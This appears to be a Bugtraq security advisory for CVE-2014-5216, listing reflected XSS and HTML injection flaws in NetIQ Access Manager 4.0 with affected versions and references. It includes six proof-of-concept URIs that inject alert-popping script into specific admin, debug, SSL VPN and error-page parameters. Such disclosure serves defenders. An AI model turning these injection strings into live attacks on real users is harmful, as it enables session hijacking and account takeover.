NetIQ Access Manager CVE-2014-5216 Cross Site Scripting and HTML Injection Vulnerabilities

Bugtraq ID:	71745
Class:	Input Validation Error
CVE:	CVE-2014-5216
Remote:	Yes
Local:	No
Published:	Dec 17 2014 12:00AM
Updated:	Dec 17 2014 12:00AM
Credit:	Wolfgang Ettlinger
Vulnerable:	NetIQ Access Manager 4.0 Support Pack 1 H NetIQ Access Manager 4.0 SP1 NetIQ Access Manager 4.0
Not Vulnerable:	NetIQ Access Manager 4.0.1 SP1 HF 3

NetIQ Access Manager CVE-2014-5216 Cross Site Scripting and HTML Injection Vulnerabilities

Attackers can exploit these issues by enticing an unsuspecting victim into following a malicious URI.

The following example URIs are available:

https://www.example.com:8443/nps/servlet/webacc?taskId=dev.Empty&merge=dm.GenericTask&location=/roma/jsp/admin/view/main.jss'%2balert+('xss')%2b'

https://www.example.com:8443/roma/jsp/debug/debug.jsp?xss=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E

https://www.example.com:8443//nps/servlet/webacc?taskId=debug.DumpAll&xss=%3Cimg%20src=%22/404%22%20onerror=%22alert+%28%27xss%27%29%22%3E

https://www.example.com/nidp/jsp/x509err.jsp?error=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E

https://www.example.com/sslvpn/applet_agent.jsp?lang=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E

https://www.example.com/roma/system/cntl?handler=dispatcher&command=auditsave&&secureLoggingServersA='){}};alert('xss');function+x(){if('&port=1289

NetIQ Access Manager CVE-2014-5216 Cross Site Scripting and HTML Injection Vulnerabilities

References:

• NetIQ Access Manager Homepage (NetIQ)
  
• Reflected Cross Site Scripting (XSS) vulnerability against multiple Access Manag (Novell)
  
• Persistent Site Scripting (XSS) attack used against Admin Console to inject a st (Novell)